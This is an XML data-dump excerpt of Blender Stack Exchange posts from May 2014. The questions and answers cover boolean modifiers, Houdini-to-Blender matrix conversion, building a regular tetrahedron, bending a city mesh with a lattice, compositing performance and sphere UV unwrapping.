  <row Id="10721" PostTypeId="1" AcceptedAnswerId="10722" CreationDate="2014-05-26T10:53:56.723" Score="6" ViewCount="1505" Body="&lt;p&gt;I am trying to cut an object using a plane into two objects. I am using &lt;code&gt;difference&lt;/code&gt; boolean modifier. How can I tell Blender which part I want and which part I don't want? I have no control on which part should remain after the boolean operation. Could someone help me on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; (for better illustration of the question). For example, let's say we have a cube which is cut by a plane. How can I selectively specify which part of the following cube should be removed after the boolean operation on the cube and the plane? For example, how can I remove part (1) of the cube instead of part (2)? I am trying to be able to tell Blender remove the part which I don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should say that the boolean modifier works perfectly with the plane being the cutter my object is splitted into a correct mesh. I would like to only be able to remove the other remaining object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nWGkb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2851" LastEditorUserId="2851" LastEditDate="2014-05-26T16:12:00.383" LastActivityDate="2018-12-17T23:26:24.963" Title="Selecting the other side of the object in a boolean operation" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10722" PostTypeId="2" ParentId="10721" CreationDate="2014-05-26T11:08:20.253" Score="4" Body="&lt;p&gt;When you are using &lt;code&gt;Difference&lt;/code&gt; the other object is 'subtracted' from the one with the modifier. To get the other side you have to set the modifier to &lt;code&gt;Intersect&lt;/code&gt;. This is the part where both objects overlap. The third option, &lt;code&gt;Union&lt;/code&gt; would give you the boolean 'sum' of both objects.&lt;br&gt;&#xA;In the image below the monkey head has the boolean modifier, the other object in the modifier is the cube.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3hBSz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;BTW: notice the eye missing in the intersection case? The boolean modifier works on the object's volumes, but the monkey head is not a closed mesh, so the volume is not really defined. This may cause problems in some cases, so be aware of that.&lt;br&gt;&#xA;EDIT: And as @stacker mentioned in the comments, since the boolean modifier works on the volume of the objects it might not work properly with a plane, at least when the edge of the plane is inside the volume of the other object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;There is no way to tell blender that it should take the other side of the object when using the boolean modifier set to &lt;code&gt;Difference&lt;/code&gt;, since this is just the way the difference of two sets is defined: The difference of the sets A and B &lt;code&gt;A\B&lt;/code&gt; are all points in A that are not in B. What points are in B is defined by the normal of your cutting plane; The normal points to the outside.&lt;br&gt;&#xA;If you want the other half of the cube you have to flip the normal of the plane or set the boolean modifier to &lt;code&gt;Intersect&lt;/code&gt;. The intersection of two sets A and B &lt;code&gt;A^B&lt;/code&gt; is all points in A that are also in B. This is exactly the opposite of the difference.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HIDSN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-05-26T17:39:43.910" LastActivityDate="2014-05-26T17:39:43.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10723" PostTypeId="1" CreationDate="2014-05-26T12:26:06.857" Score="0" ViewCount="604" Body="&lt;p&gt;Blender's &quot;Nodes&quot; function seems to make it a non-destructive editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Mix&quot; node enables the user to composite using &quot;blend modes&quot;.&#xA;For me, the &quot;Add&quot; blend mode is the most important of these blend modes but often it the Add blend mode &lt;strong&gt;is not&lt;/strong&gt; included in compositing tools.&#xA;This and the fact that Blender is seemingly non-destructive is the reason I'm using Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using Blender as a 2D compositor only, meaning that my &quot;RenderLayers&quot; nodes provide Blender with an image that mocks a 2D vector (as though I were using Adobe After Effects's &quot;Shapes&quot; tool to composite onto image/video). I have always to ensure the camera is pointing 100% downwards i.e. in-line with the z-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that Blender takes a long time to composite; The whole process seems extremely inefficient when I compare Blender with Adobe After Effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please could you advise me on whether I should quit using Blender for this application?&#xA;Thank you for your time&lt;/p&gt;&#xA;" OwnerUserId="3537" LastActivityDate="2014-05-26T20:58:33.853" Title="Is Blender the only open source Non-destructive editor?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;render-layers&gt;&lt;blend-modes&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-05-26T23:49:53.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="10724" PostTypeId="2" ParentId="10676" CreationDate="2014-05-26T12:54:20.457" Score="0" Body="&lt;p&gt;I'm not sure I understand the &lt;a href=&quot;http://www.sidefx.com/docs/houdini13.0/hom/hou/Matrix4&quot; rel=&quot;nofollow&quot;&gt;hou-matrix4&lt;/a&gt; , but if you're just asking how to flip the z-axis try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;&#xA;def convert( mat ):&#xA;    houdini = mat.copy()&#xA;    houdini[2][2] = -houdini[2][2]&#xA;    return houdini&#xA;&#xA;blender_mat = mathutils.Matrix.Identity(4)&#xA;&#xA;print( blender_mat )&#xA;print( convert( blender_mat ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Matrix 4x4 (1.0000, 0.0000, 0.0000, 0.0000)&#xA;            (0.0000, 1.0000, 0.0000, 0.0000)&#xA;            (0.0000, 0.0000, 1.0000, 0.0000)&#xA;            (0.0000, 0.0000, 0.0000, 1.0000)&amp;gt;&#xA;&amp;lt;Matrix 4x4 (1.0000, 0.0000,  0.0000, 0.0000)&#xA;            (0.0000, 1.0000,  0.0000, 0.0000)&#xA;            (0.0000, 0.0000, -1.0000, 0.0000)&#xA;            (0.0000, 0.0000,  0.0000, 1.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-26T12:54:20.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10725" PostTypeId="1" CreationDate="2014-05-26T13:24:42.860" Score="12" ViewCount="10418" Body="&lt;p&gt;How to design an equilateral tetrahedron where all edges are of equal length?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any general principle to follow when modelling platonic shapes?&lt;/p&gt;&#xA;" OwnerUserId="3234" LastEditorUserId="599" LastEditDate="2014-05-26T21:05:31.817" LastActivityDate="2020-05-28T10:22:51.390" Title="How do I create an equilateral tetrahedron?" Tags="&lt;modeling&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10726" PostTypeId="2" ParentId="10725" CreationDate="2014-05-26T14:19:00.287" Score="10" Body="&lt;p&gt;From &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D%3a_Noob_to_Pro/&quot;&gt;Platonic_Solids&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Tetrahedron Bring up the Add Mesh menu &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;, and select&#xA;  a Cone. Set the number of Vertices to 3, leave Radius 1 at its default&#xA;  value of 1.000 and Radius 2 at 0.000. Now, set the Depth to sqrt(2) ~&#xA;  1.414. To make sure that you have a regular tetrahedron, you can check the lengths of the edges (in Edit Mode, press &lt;kbd&gt;N&lt;/kbd&gt; to open the Properties&#xA;  panel and locate the checkbox Length in the section Edge Info).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-26T14:19:00.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10727" PostTypeId="2" ParentId="10700" CreationDate="2014-05-26T14:54:16.643" Score="5" Body="&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Mesh_Structures#Normals&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the vertex pertains to one or more faces, its normal is the&#xA;interpolated value of all the normals of these faces.&lt;/li&gt;&#xA;&lt;li&gt;If the vertex does not pertain to any face, its normal is aligned&#xA;with the line from the object’s Origin passing through this vertex.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On a unconnected vertex the normal will always point away from the object's origin. On a vertex connected with one or more faces (like &lt;a href=&quot;https://blender.stackexchange.com/a/10718/2217&quot;&gt;stacker&lt;/a&gt; said) Vertex normals are interpolated from face normals.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-05-26T14:54:16.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10728" PostTypeId="2" ParentId="10676" CreationDate="2014-05-26T15:38:06.733" Score="2" Body="&lt;p&gt;Thanks for the replies. I also got replies on &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?337776-Assign-a-Houdini-Matrix-To-A-Blender-Object&amp;amp;p=2654149&amp;amp;viewfull=1#post2654149&quot; rel=&quot;nofollow&quot;&gt;BlenderArtists&lt;/a&gt; as well. I finally found a solution that works for me so I thought i'd post it here for others to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run this code in the Blender default scene and the camera will jump from one location to another. The new location is defined by the string that holds the Houdini matrix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, math&#xA;from mathutils import Vector,Matrix&#xA;&#xA;def applyTransform(sMatrix, passedOb):&#xA;    if passedOb != None:&#xA;        tmp = eval(sMatrix)&#xA;        mtx = Matrix(tmp)&#xA;        passedOb.location = [mtx[3][0],-mtx[3][1],mtx[3][2]]        # Flip Z and Y axis.&#xA;        mtx.transpose()                                             # From BL Stack user.&#xA;        rot_x_neg90 = Matrix.Rotation(math.pi/2.0, 4, 'X')          # From Kastoria.&#xA;        passedOb.matrix_world = rot_x_neg90 * mtx                   # From Kastoria.&#xA;&#xA;# Matrix string from Houdini object.&#xA;s = &quot;[[0.900496, 3.27826e-007, -0.434865, 0], [-0.117881, 0.962558, -0.244102, 0], [0.418583, 0.271075, 0.866779, 0], [5.32776, 2.57303, 7.33473, 1]]&quot;&#xA;ob = bpy.data.objects.get(&quot;Camera&quot;)&#xA;applyTransform(s,ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2014-05-26T15:38:06.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10729" PostTypeId="2" ParentId="10725" CreationDate="2014-05-26T15:55:38.083" Score="23" Body="&lt;p&gt;Use the the AddMesh: Extra Objects plugin (to access the user preferences use &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;u&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7TOQe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TOQe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now you have to add Mesh-Math Function-Regular Solid&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4NiFp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4NiFp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And select Source:Tetrahedron.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YCJkO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YCJkO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PaEAG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PaEAG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;For older versions of Blender:&lt;/h1&gt;&#xA;&lt;p&gt;In user preferences  go to &amp;quot;Addons&amp;quot; and enable &amp;quot;Add Mesh:Regular Solids&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aM8bu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And select platonic solids when pressing &lt;kbd&gt;shift&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GFF8c.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-01-17T17:11:47.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10730" PostTypeId="1" CreationDate="2014-05-26T17:59:22.257" Score="8" ViewCount="701" Body="&lt;p&gt;I have a city model (all one mesh) and a separate curved base plane. I would like to have the bottom faces of the each building in the city mesh flat against the plane and keep each building at 90 degrees to follow the curve of the base plane. This is illustrated here in the inception movie poster although this looks more like a sharper curve than I thinking but is a very good visual.&#xA;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/en/2/2e/Inception_%282010%29_theatrical_poster.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.m.wikipedia.org/wiki/File:Inception_ver3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FqFX0.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://upload.wikimedia.org/wikipedia/en/7/7f/Inception_ver3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikimedia.org&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the shrink wrap modifier but cant seem to get the settings to keep each building 90 degrees to the curve. I cant use the particle method because I want to use a real city model that is one mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do the Inception style city on a curved plane effect in blender?&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="32220" LastEditDate="2019-03-11T13:07:24.333" LastActivityDate="2019-03-11T13:07:24.333" Title="How to bend a large model?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10731" PostTypeId="2" ParentId="10730" CreationDate="2014-05-26T18:37:16.893" Score="9" Body="&lt;p&gt;There are a few ways to bend a city like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One would be to create a curve that controls the deformation, and use it on a curve modifier applied to your city mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/paZBt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LJHjG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The walls of the buildings will be perpendicular to the curve (and they might even crash into each other...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other very different option would be to use a lattice to control the deformation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the city and a curved plane.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n7nwC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a lattice that is olny one segment in height, line it up with the base of the city and dimension it to the with and depth of the city.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7tAnL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the city object, add a lattice deform modifier and choose the lattice you'd just created as the control object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6eEIa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select then the lattice, apply a shrinkwrap modifier and use the curved plane as target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qmetr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lattice will deform to hug the plane, and the city will deform following the lattice. Note that in this case the top of the buildings will remain parallel to the curved plane but the walls will remain vertical on the Z axis and will not crash into each other this time. Maybe not quite what you're looking for, but another fun option to be aware of.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-05-26T21:25:14.690" LastActivityDate="2014-05-26T21:25:14.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10732" PostTypeId="1" CreationDate="2014-05-26T19:15:11.743" Score="2" ViewCount="277" Body="&lt;p&gt;Using &lt;strong&gt;Blender 2.70&lt;/strong&gt; to stabilise moving shots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shot in question has extended duration and the camera moved around a lot, but the image is fairly stable. Thus we need to get rid of small bumps, and a constant slight tilting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, this is a tricky basic situation, because there is &lt;em&gt;no single&lt;/em&gt; trackable feature present during the whole duration of the shot. For the vertical and horizontal stabilisation, tracking several features and &quot;fading out&quot; using the track weight did the trick and gave me surprisingly good results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I couldn't find out how to get rotation tracking to work. As far as I can see, I can only add a single track. As soon as I do so, the image is heavily rotated, sometimes even upside down. Also, the result is not stable and changes noticeable when during the shot, additional tracks start contributing or go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use a feature which is present more or less at the beginning of the shot, and when I additionally clip all other tracks present at this point to start at exactly the same frame, then I get an initially stable rotation, but this situation deteriorates as the shot goes on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: what are the known approaches how to deal with this situation? Is this even possible right now? Existing add-ons? Coding up something myself would also be an option but I don't want to waste time on re-inventing the wheel.&lt;/p&gt;&#xA;" OwnerUserId="2615" LastActivityDate="2014-05-26T19:15:11.743" Title="2D tracking: problematic rotation stabilisation" Tags="&lt;workflow&gt;&lt;tracking&gt;&lt;video&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10733" PostTypeId="2" ParentId="10723" CreationDate="2014-05-26T20:58:33.853" Score="1" Body="&lt;p&gt;If the problem is only performance, Blender can also leverage OpenCL running on the GPU and CPU to speed up the node compositing. From my experience, it significantly speeds up the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can turn it on in the node editor panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AN1jm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-05-26T20:58:33.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10734" PostTypeId="2" ParentId="8633" CreationDate="2014-05-26T21:33:44.960" Score="5" Body="&lt;p&gt;A particle system with Dupli-group is probably a good way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd start by creating a dozen or so rock templates. Using modifiers, you can come up with this pretty fast:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X3KZ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a new plane that will serve as the base of where the rocks will go, and create a particle system to it. The particles system controls where the rocks will go, distribution, size, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LmWI2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-05-26T21:33:44.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10735" PostTypeId="1" AcceptedAnswerId="10774" CreationDate="2014-05-26T21:45:58.380" Score="2" ViewCount="741" Body="&lt;p&gt;Does anyone understand what Campbell means when he describes this new tool function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/rB276ef3b3b5192aad5c3e5e02c69246&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/rB276ef3b3b5192aad5c3e5e02c69246&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Description&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Editmesh: Toggle between all edge-loop boundaries when selecting&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now Alt+RMB,RMB will select all connected boundaries.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are times when you just want to select an entire boundary loop&#xA;  ignoring face topology, previously there was no way to do this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried several models with different topology and &lt;em&gt;Alt-RMB, RMB&lt;/em&gt; does not do anything beyond what I would expect.  I also tried releasing the &lt;em&gt;Alt&lt;/em&gt; before clicking the second time but that does what we've always come to expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well anyways, if someone has some thoughts on this matter, please shed some light.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-24T08:07:38.137" Title="Editmesh: Toggle between all edge-loop boundaries when selecting?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10736" PostTypeId="2" ParentId="10720" CreationDate="2014-05-26T22:05:47.453" Score="6" Body="&lt;p&gt;There is an addon to send VSE strips to the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=262986&amp;amp;d=1380892092&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/attachment.php?attachmentid=262986&amp;amp;d=1380892092&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selected video strips will show as image nodes on the compositor and then the resulting composition gets sent back as a new video strip to the VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A video tutorial on how to use it is here:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=fiDlNm9iJs4&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=fiDlNm9iJs4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-05-26T22:05:47.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10737" PostTypeId="1" CreationDate="2014-05-26T22:59:05.473" Score="1" ViewCount="460" Body="&lt;p&gt;Is there a way to obtain the &quot;facing&quot; of individual pixels on a rendered image by using the normals pass?  IE: if a surface's angle points away from the camera, it becomes darker, and when a surface's angle points towards the camera, it will become brighter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The reason I'm asking is because I'm trying to develop a custom glare node in the compositor.  Bright areas will get weak fog glow, but I also want to produce a star-like glare over bright points which are facing the camera.  I don't know whether this is accurate to reality or not, though.  If there is a better method for doing so, or to realistically accomplish the effect, I'm all ears.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastEditorUserId="1897" LastEditDate="2014-05-28T01:34:06.167" LastActivityDate="2014-06-29T04:39:36.623" Title="Compositor: obtain facing from normals pass to affect glare?" Tags="&lt;compositor&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10738" PostTypeId="1" AcceptedAnswerId="10740" CreationDate="2014-05-26T23:18:12.037" Score="5" ViewCount="4179" Body="&lt;p&gt;I have a video clip and I would like export the last frame for further processing with Gimp. How can I extract or take a snapshot of the last frame of a video?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in solution on Mac or Linux.&lt;/p&gt;&#xA;" OwnerUserId="1362" LastEditorUserId="2217" LastEditDate="2014-12-15T17:34:54.913" LastActivityDate="2014-12-15T17:34:54.913" Title="How can I take a snapshot of the last frame of a video?" Tags="&lt;export&gt;&lt;image&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10739" PostTypeId="1" AcceptedAnswerId="10751" CreationDate="2014-05-26T23:22:34.817" Score="8" ViewCount="4216" Body="&lt;p&gt;I have a video clip I would like that the last frame of this video clip last more seconds so the user can see it very well. Which is the fastest way to keep the last frame of a video persistent on the screen for a determinate amount of time without stretching all the video clip?&lt;/p&gt;&#xA;" OwnerUserId="1362" LastActivityDate="2014-05-27T09:30:43.230" Title="Fastest way to keep the last frame of a clip persistent" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10740" PostTypeId="2" ParentId="10738" CreationDate="2014-05-26T23:24:15.727" Score="6" Body="&lt;p&gt;On the frame you would like to save, press &lt;kbd&gt;F12&lt;/kbd&gt; to render (you can also press &lt;em&gt;Render image&lt;/em&gt; in &lt;em&gt;Render&lt;/em&gt; at the top of the window, or &lt;em&gt;Render&lt;/em&gt; in &lt;em&gt;Properties &gt; Render settings &gt; Render&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vtSag.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;F3&lt;/kbd&gt; to save the resulting image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will take other strips into account.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-26T23:29:41.887" LastActivityDate="2014-05-26T23:29:41.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10741" PostTypeId="1" CreationDate="2014-05-26T23:57:02.363" Score="33" ViewCount="48570" Body="&lt;p&gt;After reading &lt;a href=&quot;https://blender.stackexchange.com/q/3315/599&quot;&gt;How to get perfect UV sphere Mercator projection?&lt;/a&gt;&#xA;It seems that there is no perfect solution for getting rid of the stretch at the poles of UV spheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://blender.stackexchange.com/q/72/599&quot;&gt;What is the difference between a UV Sphere and an Icosphere?&lt;/a&gt;, icospheres can be used for stretch-less UV mapping:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All faces have the same area, which may be useful for certain types of UV mapping containing non-organic textures. An example that comes to mind is an isocahedral die or billiard balls where stretch must be minimized near the point where the number is printed onto the ball.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Incidentally, a lowish-poly billiard ball is exactly what I'm attempting to create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my attempts at neatly unwrapping an icosphere have mostly failed (smart UV unwrap works perfectly for using baked textures, however I was hoping for something more like the example in the 6th post of &lt;a href=&quot;http://www.polycount.com/forum/showthread.php?t=69961&quot; rel=&quot;noreferrer&quot;&gt;this thread&lt;/a&gt;, with a nice clean rectangular map).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can an icosphere (I assumed the term &quot;geosphere&quot; in the thread was referring to a (geodesic) sphere made of triangles, like an icosphere) be cleanly unwrapped? Or if it's not possible, is there another way to do this which I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm planning on using the resulting sphere in the BGE.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-07-10T23:00:11.603" Title="What is the best way to unwrap a sphere?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
